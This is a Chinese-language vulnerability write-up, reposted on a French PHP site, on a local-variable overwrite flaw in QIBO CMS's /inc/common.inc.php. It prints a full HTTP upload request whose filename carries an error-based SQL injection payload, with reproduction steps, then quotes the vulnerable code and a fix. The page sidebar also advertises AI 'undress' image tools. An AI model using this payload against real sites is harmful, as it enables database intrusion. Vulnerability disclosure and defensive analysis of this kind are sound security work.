QIBO CMS /inc/common.inc.php Local Variables Overriding Vul
目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量
目录
<span>1</span><span>. 漏洞描述 </span><span>2</span><span>. 漏洞触发条件 </span><span>3</span><span>. 漏洞影响范围 </span><span>4</span><span>. 漏洞代码分析 </span><span>5</span><span>. 防御方法 </span><span>6</span>. 攻防思考
1. 漏洞描述
齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险 齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Relevant Link:
http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
2. 漏洞触发条件
0x1: 攻击入口
构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php
<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包 </span><span>2</span><span>. 在http request中构造一个attachment,如下: </span><span>/*</span><span> POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span> User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span> Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work </span> Accept-<span>Encoding: gzip,deflate,sdch Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span> Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1; passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork Content</span>-Type: multipart/form-<span>data; boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Length: <span>227</span> ------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span> Content</span>-Type: text/<span>plain </span><span>1111</span> ------WebKitFormBoundary6ukpBHoIrpHKtOkl-- */<span> 注意将原来的URL上的cidDB[]</span>=<span>x删除掉; 然后构造一个文件上传的报文(GET改为POST方法) 在filename处填入注入的payload </span><span>3</span><span>. 提交该数据包,即可注入成功 </span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
Relevant Link:
http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
3. 漏洞影响范围
齐博所有系统、所有版本
4. 漏洞代码分析
\qibo\inc\common.inc.php
<span>/*</span><span> 全局变量文件对GPC变量的过滤 从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数 这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖 </span><span>*/</span><span> $_POST</span>=<span>Add_S($_POST); $_GET</span>=<span>Add_S($_GET); $_COOKIE</span>=<span>Add_S($_COOKIE); function Add_S($array) { </span><span>foreach</span>($array <span>as</span> $key=><span>$value) { </span><span>if</span>(!<span>is_array($value)) { $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value); <span>//</span><span>过滤一些不安全字符</span> $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value); <span>//</span><span>过滤不安全函数</span> !get_magic_quotes_gpc() && $value=<span>addslashes($value); $array[$key]</span>=<span>$value; } </span><span>else</span><span> { $array[$key]</span>=<span>Add_S($array[$key]); } } </span><span>return</span><span> $array; } </span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { @extract($_FILES,EXTR_SKIP); } </span><span>foreach</span>($_COOKIE AS $_key=><span>$_value) { unset($$_key); } </span><span>foreach</span>($_POST AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key]; } </span><span>foreach</span>($_GET AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key]; }</span>
5. 防御方法
\qibo\inc\common.inc.php
<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>); </span><span>foreach</span>($array AS $key=><span>$value) { is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value]; } }</span>
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Les avantages apportés par l'intégration du framework PHP et du CMS sont : 1. Améliorer l'efficacité du développement 2. Améliorer la sécurité 3. Simplifier la gestion du contenu ; Dans le cas réel, le framework Laravel a été intégré à WordPressCMS pour créer un site Web de blog avec des fonctions personnalisées. Les étapes d'intégration comprennent la création d'une application Laravel, l'installation de WordPress, la configuration de WordPress, la création d'un contrôleur, la définition du routage, l'obtention des données WordPress, et dans le processus. Vue Laravel Afficher les données.

Avec la popularité et le développement d’Internet, les sites Web financiers sont devenus de plus en plus importants. Les sites Web financiers jouent un rôle décisif dans le développement commercial, le marketing et la construction de la marque du secteur financier, etc. De nos jours, avec la popularité et la maturité des systèmes CMS, de plus en plus d'entreprises commencent à choisir d'utiliser les systèmes CMS pour le développement de sites Web. Cet article se concentrera sur la façon d'utiliser le système PHPCMS dans le développement de sites Web financiers. 1. Comprendre le système CMS. Le système CMS est l'abréviation de système de gestion de contenu. Il fait référence à un système qui peut créer rapidement.

Comment utiliser Java pour écrire le module de synchronisation de données d'un système CMS Introduction : Avec le développement de l'ère de l'information et la popularité d'Internet, les systèmes de gestion de contenu (CMS) ont été largement utilisés dans tous les domaines. Parmi les différents groupes d'utilisateurs, la gestion de contenu nécessite la synchronisation de plusieurs sources de données, ce qui nécessite un module de synchronisation de données efficace et fiable. Cet article expliquera comment utiliser Java pour écrire le module de synchronisation des données du système CMS et fournira des exemples de code pertinents. 1. Présentation La synchronisation des données fait référence au transfert de données entre plusieurs sources de données.

L'emplacement du répertoire Empire CMS est révélé. Des exemples de code spécifiques sont nécessaires. Empire CMS (EmpireCMS) est un système de gestion de contenu open source largement utilisé. Sa flexibilité et sa richesse en fonctionnalités sont appréciées par les utilisateurs. Au cours du processus de développement d'un site Web, il est crucial de comprendre la structure des répertoires et l'emplacement des fichiers d'Empire CMS, car cela aide les développeurs à mieux gérer le contenu et les fonctions du site Web. Cet article révélera l'emplacement du répertoire d'Empire CMS et fournira des exemples de code spécifiques pour aider les lecteurs à mieux comprendre ce système de gestion de contenu. 1.Structure de répertoire de base

Comment utiliser Java pour implémenter la fonction de filigrane d'image du système CMS Résumé : L'ajout de la fonction de filigrane d'image au système CMS peut empêcher efficacement la falsification et le vol des images. Cet article explique comment utiliser Java pour implémenter la fonction de filigrane d'image du système CMS et fournit des exemples de code. Introduction Avec la popularité d'Internet et celle des appareils photo numériques, le vol et la falsification d'images sont devenus un problème courant. Afin de protéger les droits d'auteur des images, de nombreux systèmes CMS ajouteront des fonctions de filigrane d'image. Le filigrane d'image est une technologie qui ajoute des informations identifiables aux images, telles qu'une photo

PHPcms est un puissant système de gestion de contenu largement utilisé dans le développement de sites Web. La mise en cache des colonnes est une fonction importante de PHPcms, qui peut améliorer la vitesse d'accès au site Web et réduire la pression sur le serveur. Cet article révélera le chemin de stockage du cache de colonnes PHPcms et fournira des exemples de code spécifiques. 1. Qu'est-ce que la mise en cache des colonnes ? La mise en cache des colonnes consiste à générer des fichiers statiques à partir du contenu des colonnes sur le site Web et à les stocker dans le chemin spécifié. Lorsque l'utilisateur accède à la colonne, le fichier statique est lu directement au lieu de générer dynamiquement la page à chaque fois. . ce

Conseils pratiques pour intégrer PHPcms avec d'autres systèmes Avec le développement continu de la technologie Internet, le domaine du développement de sites Web est devenu plus diversifié et complexe. Dans les projets réels, nous sommes souvent confrontés à des situations dans lesquelles différents systèmes doivent être intégrés, ce qui nécessite que nous ayons certaines compétences et expériences pour résoudre ces problèmes. Cet article présentera quelques conseils pratiques et exemples de code spécifiques pour l'intégration du système PHPcms avec d'autres systèmes afin d'aider les développeurs à mieux faire face aux défis. 1. Principes de base de l'intégration Lors de l'intégration d'un système, il est d'abord nécessaire de

Impact et réponse en cas d'arrêt de la maintenance de PHPcms Avec le développement continu de la technologie Internet, la construction de sites Web est devenue un outil essentiel pour de nombreuses entreprises et particuliers. Dans la construction de sites Web, le système de gestion de contenu (CMS) joue un rôle important. En tant qu'outil CMS couramment utilisé, PHPcms était autrefois très populaire. Cependant, au fil du temps, la mise à jour et la maintenance de la version PHPcms diminuent progressivement, voire arrêtent la maintenance, ce qui entraîne une série d'impacts pour les utilisateurs et les développeurs. Cet article explorera l'impact des PHPcms hors maintenance et fournira un
